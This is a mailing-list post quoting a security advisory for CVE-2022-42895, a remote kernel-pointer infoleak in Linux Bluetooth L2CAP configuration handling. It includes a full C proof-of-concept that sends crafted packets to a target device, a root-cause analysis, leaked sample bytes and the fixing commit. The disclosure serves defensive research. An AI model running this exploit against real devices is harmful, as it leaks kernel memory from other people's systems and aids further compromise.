[<prev] [next>] [<thread-prev] [day] [month] [year] [list]
Date: Thu, 15 Dec 2022 15:22:31 -0500
From: Rafael Correa De Ysasi <rcorreadeysasi@...omium.org>
To: carnil@...ian.org
Cc: oss-security@...ts.openwall.com
Subject: Re: Linux Kernel: Infoleak in Bluetooth L2CAP Handling
That's correct, that's part of our advisory.
Thanks,
Rafael
On Wed, Dec 14, 2022 at 4:02 PM Salvatore Bonaccorso <carnil@...ian.org>
wrote:
> Hi,
>
> On Wed, Dec 14, 2022 at 01:09:59PM -0500, Rafael Correa De Ysasi wrote:
> > Summary
> >
> > There is an infoleak vulnerability in the Linux kernel's
> > net/bluetooth/l2cap_core.c's l2cap_parse_conf_req function which can be
> > used to leak kernel pointers remotely.
> >
> > The bug was introduced in commit 42dceae
> > <
> https://github.com/torvalds/linux/commit/42dceae2819b5ac6fc9a0d414ae05a8960e2a1d9
> >
> > (version:
> > 3.0.0, date: 2011-Oct-17).
> > Severity
> >
> > Moderate - The leak in Bluetooth L2CAP handling can be used to leak
> kernel
> > pointers remotely.
> > Proof of Concept
> >
> > The bug can be triggered remotely on a KASAN-enabled kernel with the PoC
> > below. Tested on Ubuntu 22.04, precondition: HighSpeed support needs to
> be
> > enabled via e.g. btmgmt hs on
> >
> > ```
> >
> > #include <stdlib.h>
> > #include <unistd.h>
> > #include <sys/socket.h>
> > #include <sys/uio.h>
> > #include <bluetooth/bluetooth.h>
> > #include <bluetooth/l2cap.h>
> > #include <bluetooth/hci.h>
> > #include <bluetooth/hci_lib.h>
> >
> > #define AMP_MGR_CID 0x03
> > typedef struct {
> > uint8_t code;
> > uint8_t ident;
> > uint16_t len;
> > } __attribute__ ((packed)) amp_mgr_hdr;
> > #define AMP_MGR_HDR_SIZE 4
> >
> > #define AMP_INFO_REQ 0x06typedef struct {
> > uint8_t id;
> > } __attribute__ ((packed)) amp_info_req_parms;
> > typedef struct {
> > uint8_t mode;
> > uint8_t txwin_size;
> > uint8_t max_transmit;
> > uint16_t retrans_timeout;
> > uint16_t monitor_timeout;
> > uint16_t max_pdu_size;
> > } __attribute__ ((packed)) l2cap_conf_rfc;
> > typedef struct {
> > uint8_t id;
> > uint8_t stype;
> > uint16_t msdu;
> > uint32_t sdu_itime;
> > uint32_t acc_lat;
> > uint32_t flush_to;
> > } __attribute__((packed)) l2cap_conf_efs;
> > static void hexDump(const void *data, size_t size) {
> > size_t i;
> > for(i = 0; i < size; i++) {
> > printf("%02hhX%c", ((char *)data)[i], (i + 1) % 16 ? ' ' : '\n');
> > }
> > printf("\n");
> > }
> > int hci_send_acl_data(int hci_socket, uint16_t hci_handle, void *data,
> > uint16_t data_length) {
> > uint8_t type = HCI_ACLDATA_PKT;
> > uint16_t BCflag = 0x0000;
> > uint16_t PBflag = 0x0002;
> > uint16_t flags = ((BCflag << 2) | PBflag) & 0x000F;
> >
> > hci_acl_hdr hdr;
> > hdr.handle = htobs(acl_handle_pack(hci_handle, flags));
> > hdr.dlen = data_length;
> >
> > struct iovec iv[3];
> >
> > iv[0].iov_base = &type;
> > iv[0].iov_len = 1;
> > iv[1].iov_base = &hdr;
> > iv[1].iov_len = HCI_ACL_HDR_SIZE;
> > iv[2].iov_base = data;
> > iv[2].iov_len = data_length;
> >
> > return writev(hci_socket, iv, sizeof(iv) / sizeof(struct iovec));
> > }
> > int hci_send_cmd_data(int hci_socket, uint8_t ogf, uint8_t ocf, void
> > *data, uint16_t data_length) {
> > uint8_t type = HCI_COMMAND_PKT;
> >
> > hci_command_hdr hdr;
> > hdr.opcode = cmd_opcode_pack(ogf, ocf);
> > hdr.plen = data_length;
> >
> > struct iovec iv[3];
> >
> > iv[0].iov_base = &type;
> > iv[0].iov_len = 1;
> > iv[1].iov_base = &hdr;
> > iv[1].iov_len = HCI_COMMAND_HDR_SIZE;
> > iv[2].iov_base = data;
> > iv[2].iov_len = data_length;
> >
> > return writev(hci_socket, iv, sizeof(iv) / sizeof(struct iovec));
> > }
> > int main(int argc, char **argv) {
> > if (argc != 2) {
> > printf("Usage: %s MAC_ADDR\n", argv[0]);
> > return 1;
> > }
> >
> > bdaddr_t dst_addr;
> > str2ba(argv[1], &dst_addr);
> >
> > int hci_socket = socket(AF_BLUETOOTH, SOCK_RAW, HCI_CHANNEL_USER);
> >
> > struct sockaddr_hci addr;
> > memset(&addr, 0, sizeof(addr));
> > addr.hci_family = AF_BLUETOOTH;
> > addr.hci_dev = 0;
> > addr.hci_channel = HCI_CHANNEL_USER;
> > bind(hci_socket, (struct sockaddr *) &addr, sizeof(addr));
> >
> > create_conn_cp params;
> > bacpy(¶ms.bdaddr, &dst_addr);
> > params.pkt_type = 0xcc18;
> > params.pscan_rep_mode = 2;
> > params.pscan_mode = 0;
> > params.clock_offset = 0;
> > params.role_switch = 1;
> >
> > hci_send_cmd_data(hci_socket, OGF_LINK_CTL, OCF_CREATE_CONN,
> > ¶ms, sizeof(params));
> >
> > // TODO: fetch handle
> > while (1) {
> > uint8_t buf[256] = {0};
> > if (read(hci_socket, buf, sizeof(buf)) < 0) {
> > perror("[-] read");
> > exit(1);
> > }
> > if (buf[0] == HCI_EVENT_PKT) {
> > break;
> > }
> > }
> >
> > uint16_t hci_handle = 0x100;
> >
> > while (1) {
> > uint8_t buf[256] = {0};
> > if (read(hci_socket, buf, sizeof(buf)) < 0) {
> > perror("[-] read");
> > exit(1);
> > }
> > if (buf[0] == HCI_ACLDATA_PKT) {
> > l2cap_cmd_hdr *l2_cmd_hdr = (l2cap_cmd_hdr *)&buf[9];
> > if (l2_cmd_hdr->code == L2CAP_INFO_REQ) {
> > break;
> > }
> > }
> > }
> >
> > struct {
> > l2cap_hdr hdr;
> > l2cap_cmd_hdr cmd_hdr;
> > l2cap_info_req info_req;
> > } packet5 = {0};
> > packet5.hdr.len = htobs(sizeof(packet5) - L2CAP_HDR_SIZE);
> > packet5.hdr.cid = htobs(1);
> > packet5.cmd_hdr.code = L2CAP_INFO_REQ;
> > packet5.cmd_hdr.ident = 1; // TODO: take ident from request
> > packet5.cmd_hdr.len =
> > htobs(sizeof(packet5) - L2CAP_HDR_SIZE - L2CAP_CMD_HDR_SIZE);
> > packet5.info_req.type = htobs(L2CAP_IT_FEAT_MASK);
> > hci_send_acl_data(hci_socket, hci_handle, &packet5, sizeof(packet5));
> >
> > while (1) {
> > uint8_t buf[256] = {0};
> > if (read(hci_socket, buf, sizeof(buf)) < 0) {
> > perror("[-] read");
> > exit(1);
> > }
> > if (buf[0] == HCI_ACLDATA_PKT) {
> > l2cap_cmd_hdr *l2_cmd_hdr = (l2cap_cmd_hdr *)&buf[9];
> > if (l2_cmd_hdr->code == L2CAP_INFO_RSP) {
> > break;
> > }
> > }
> > }
> >
> > // Make __l2cap_efs_supported true
> > struct {
> > l2cap_hdr hdr;
> > l2cap_cmd_hdr cmd_hdr;
> > l2cap_info_rsp info_rsp;
> > uint32_t val;
> > } packet3 = {0};
> > packet3.hdr.len = htobs(sizeof(packet3) - L2CAP_HDR_SIZE);
> > packet3.hdr.cid = htobs(1);
> > packet3.cmd_hdr.code = L2CAP_INFO_RSP;
> > packet3.cmd_hdr.ident = 1; // TODO: take ident from request
> > packet3.cmd_hdr.len =
> > htobs(sizeof(packet3) - L2CAP_HDR_SIZE - L2CAP_CMD_HDR_SIZE);
> > packet3.info_rsp.type = htobs(L2CAP_IT_FEAT_MASK);
> > packet3.info_rsp.result = htobs(L2CAP_IR_SUCCESS);
> > packet3.val = L2CAP_FEAT_EXT_FLOW | L2CAP_FEAT_FIXED_CHAN |
> L2CAP_FEAT_ERTM;
> > hci_send_acl_data(hci_socket, hci_handle, &packet3, sizeof(packet3));
> >
> > while (1) {
> > uint8_t buf[256] = {0};
> > if (read(hci_socket, buf, sizeof(buf)) < 0) {
> > perror("[-] read");
> > exit(1);
> > }
> > if (buf[0] == HCI_ACLDATA_PKT) {
> > l2cap_cmd_hdr *l2_cmd_hdr = (l2cap_cmd_hdr *)&buf[9];
> > if (l2_cmd_hdr->code == L2CAP_INFO_REQ) {
> > break;
> > }
> > }
> > }
> >
> > struct {
> > l2cap_hdr hdr;
> > } packet0 = {0};
> > packet0.hdr.len = htobs(sizeof(packet0) - L2CAP_HDR_SIZE);
> > packet0.hdr.cid = htobs(AMP_MGR_CID);
> > hci_send_acl_data(hci_socket, hci_handle, &packet0, sizeof(packet0));
> >
> > // Trigger l2cap_build_conf_req
> > struct {
> > l2cap_hdr hdr;
> > l2cap_cmd_hdr cmd_hdr;
> > l2cap_conn_rsp conn_rsp;
> > } packet4 = {0};
> > packet4.hdr.len = htobs(sizeof(packet4) - L2CAP_HDR_SIZE);
> > packet4.hdr.cid = htobs(1);
> > packet4.cmd_hdr.code = L2CAP_CONN_RSP;
> > packet4.cmd_hdr.ident = 1;
> > packet4.cmd_hdr.len = htobs(sizeof(packet4) - L2CAP_HDR_SIZE -
> > L2CAP_CMD_HDR_SIZE);
> > packet4.conn_rsp.scid = htobs(AMP_MGR_CID);
> > packet4.conn_rsp.dcid = htobs(AMP_MGR_CID);
> > packet4.conn_rsp.result = htobs(L2CAP_CR_SUCCESS);
> > packet4.conn_rsp.status = htobs(0);
> > hci_send_acl_data(hci_socket, hci_handle, &packet4, sizeof(packet4));
> >
> > while (1) {
> > uint8_t buf[256] = {0};
> > if (read(hci_socket, buf, sizeof(buf)) < 0) {
> > perror("[-] read");
> > exit(1);
> > }
> > if (buf[0] == HCI_ACLDATA_PKT) {
> > l2cap_cmd_hdr *l2_cmd_hdr = (l2cap_cmd_hdr *)&buf[9];
> > if (l2_cmd_hdr->code == L2CAP_CONF_REQ) {
> > break;
> > }
> > }
> > }
> >
> > struct {
> > l2cap_hdr hdr;
> > l2cap_cmd_hdr cmd_hdr;
> > l2cap_conf_req conf_req;
> > l2cap_conf_opt conf_opt;
> > l2cap_conf_rfc conf_rfc;
> > } packet2 = {0};
> > packet2.hdr.len = htobs(sizeof(packet2) - L2CAP_HDR_SIZE);
> > packet2.hdr.cid = htobs(1);
> > packet2.cmd_hdr.code = L2CAP_CONF_REQ;
> > packet2.cmd_hdr.ident = 1;
> > packet2.cmd_hdr.len =
> > htobs(sizeof(packet2) - L2CAP_HDR_SIZE - L2CAP_CMD_HDR_SIZE);
> > packet2.conf_req.dcid = htobs(AMP_MGR_CID);
> > packet2.conf_req.flags = htobs(0);
> > packet2.conf_opt.type = L2CAP_CONF_RFC;
> > packet2.conf_opt.len = sizeof(l2cap_conf_rfc);
> > packet2.conf_rfc.mode = L2CAP_MODE_ERTM;
> > hci_send_acl_data(hci_socket, hci_handle, &packet2, sizeof(packet2));
> >
> > while (1) {
> > uint8_t buf[256] = {0};
> > if (read(hci_socket, buf, sizeof(buf)) < 0) {
> > perror("[-] read");
> > exit(1);
> > }
> > if (buf[0] == HCI_ACLDATA_PKT) {
> > l2cap_cmd_hdr *l2_cmd_hdr = (l2cap_cmd_hdr *)&buf[9];
> > if (l2_cmd_hdr->code == L2CAP_CONF_RSP) {
> > hexDump(buf, sizeof(buf));
> > break;
> > }
> > }
> > }
> >
> > close(hci_socket);
> >
> > return 0;
> > }
> >
> > ```
> >
> > Further Analysis
> >
> > Commit 42dceae
> > <
> https://github.com/torvalds/linux/commit/42dceae2819b5ac6fc9a0d414ae05a8960e2a1d9
> >
> > added
> > parsing Extended Flow Specification option in L2CAP Config Request, which
> > uses a local struct l2cap_conf_efs efs on the stack which is normally
> > initialized with data sent remotely (and remote_efs is set to 1). This
> > structure is also written back to the remote client (as a confirmation of
> > successful configuration change).
> >
> > The problem is this code path
> > <
> https://github.com/torvalds/linux/blob/725737e7c21d2d25a4312c2aaa82a52bd03e3126/net/bluetooth/l2cap_core.c#L3765
> >
> > checks
> > the FLAG_EFS_ENABLE channel flag instead of the remote_efs variable to
> > decide if the l2cap_conf_efs efs struct should be used or not and it is
> > possible to set the FLAG_EFS_ENABLE flag without actually sending EFS
> > configuration data and in this case the uninitialized l2cap_conf_efs efs
> struct
> > will be sent back to the remote client thus leaking information about
> > kernel memory contents, including kernel pointers.
> >
> > ```
> >
> > static int l2cap_parse_conf_req(...)
> > {
> > struct l2cap_conf_efs efs; // not initialized
> > u8 remote_efs = 0;
> > ...
> >
> > case L2CAP_CONF_EFS: // path not taken
> > ...
> > remote_efs = 1;
> > memcpy(&efs, (void *) val, olen);
> > break;
> > ...
> >
> > switch (chan->mode) {
> > case L2CAP_MODE_STREAMING:
> > case L2CAP_MODE_ERTM:
> > ...
> > if (remote_efs) { // path not taken
> > if (__l2cap_efs_supported(chan->conn))
> > set_bit(FLAG_EFS_ENABLE, &chan->flags); // invalid
> > expectation: FLAG_EFS_ENABLE is set only if remote_efs is true
> > else
> > return -ECONNREFUSED;
> > }
> > ...
> >
> > if (test_bit(FLAG_EFS_ENABLE, &chan->flags)) {
> > ...
> > // leaks uninitialized efs variable
> > l2cap_add_conf_opt(&ptr, L2CAP_CONF_EFS,
> > sizeof(efs), (unsigned long) &efs, endptr -
> ptr);
> > }
> >
> > ```
> >
> > The FLAG_EFS_ENABLE flag can also be set
> > <
> https://github.com/torvalds/linux/blob/725737e7c21d2d25a4312c2aaa82a52bd03e3126/net/bluetooth/l2cap_core.c#L3481
> >
> > on
> > the channel at other places by satisfying the requirements
> > <
> https://github.com/torvalds/linux/blob/725737e7c21d2d25a4312c2aaa82a52bd03e3126/net/bluetooth/l2cap_core.c#L3359
> >
> > of __l2cap_efs_supported:
> >
> > ```
> >
> > static inline bool __l2cap_efs_supported(struct l2cap_conn *conn)
> > {
> > return ((conn->local_fixed_chan & L2CAP_FC_A2MP) &&
> > (conn->feat_mask & L2CAP_FEAT_EXT_FLOW));
> > }
> >
> > ```
> >
> >
> > 1.
> >
> > L2CAP_FC_A2MP local channel availability: this requires
> HCI_HS_ENABLED to
> > be enabled
> > <
> https://github.com/torvalds/linux/blob/725737e7c21d2d25a4312c2aaa82a52bd03e3126/net/bluetooth/l2cap_core.c#L7784
> >
> > which
> > can be achieved via the BT management interface, by e.g. calling
> btmgmt
> > hs on (it is off by default on the systems used for testing)
> > 2.
> >
> > L2CAP_FEAT_EXT_FLOW feature mask: which can be turned on
> > <
> https://github.com/torvalds/linux/blob/725737e7c21d2d25a4312c2aaa82a52bd03e3126/net/bluetooth/l2cap_core.c#L4788
> >
> > via
> > the L2CAP_INFO_RSP command.
> >
> > To actually set the FLAG_EFS_ENABLE flag l2cap_build_conf_req needs to be
> > called, which can be done e.g. via the L2CAP_CONN_RSP command.
> >
> > *Sample Packet of Leaked Information*
> >
> > 02 00 21 2F 00 2B 00 01 00 05 01 27 00 03 00 00
> > 00 00 00 01 02 A0 02 04 09 03 00 00 D0 07 E0 2E
> > 00 00 06 10 21 ED BF 8E FF FF FF FF 80 00 E3 8D
> > FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00
> >
> > The following pointers were confirmed to be valid addresses from the
> kernel
> > space:
> >
> > 21 ED BF 8E FF FF FF FF = 0xffffffff8ebfed21
> > 80 00 E3 8D FF FF FF FF = 0xffffffff8de30080
> >
> > *Reachability*
> >
> > The affected code path is reached via A2MP which depends on the
> > CONFIG_BT_HS (Bluetooth
> > High Speed) kernel config
> > <
> https://github.com/torvalds/linux/blob/60891ec99e141b74544d11e897a245ef06263052/net/bluetooth/Kconfig#L65
> >
> > which
> > is disabled by default, but it is enabled on some well-known
> distributions
> > (including Ubuntu).
> >
> > Also HCI_HS_ENABLED needs to be true, which can be turned on via the
> > management interface, but we are not aware of any configuration currently
> > where it is turned on by default.
> > Patch
> >
> > The vulnerability was fixed by also checking if remote_efs is true in
> > commit b1a2cd5
> > <
> https://github.com/torvalds/linux/commit/b1a2cd50c0357f243b7435a732b4e62ba3157a2e
> >
> > .
> > Timeline
> >
> > *Date reported*: 10/06/2022
> > *Date fixed*: 10/26/2022
> > *Date disclosed*: 11/28/2022
>
> Accordng to
>
> https://github.com/google/security-research/security/advisories/GHSA-vccx-8h74-2357
> this should have CVE-2022-42895 assigned.
>
> Regards,
> Salvatore
>
Powered by blists - more mailing lists
Please check out the
Open Source Software Security Wiki, which is counterpart to this
mailing list.
Confused about mailing lists and their use?
Read about mailing lists on Wikipedia
and check out these
guidelines on proper formatting of your messages.
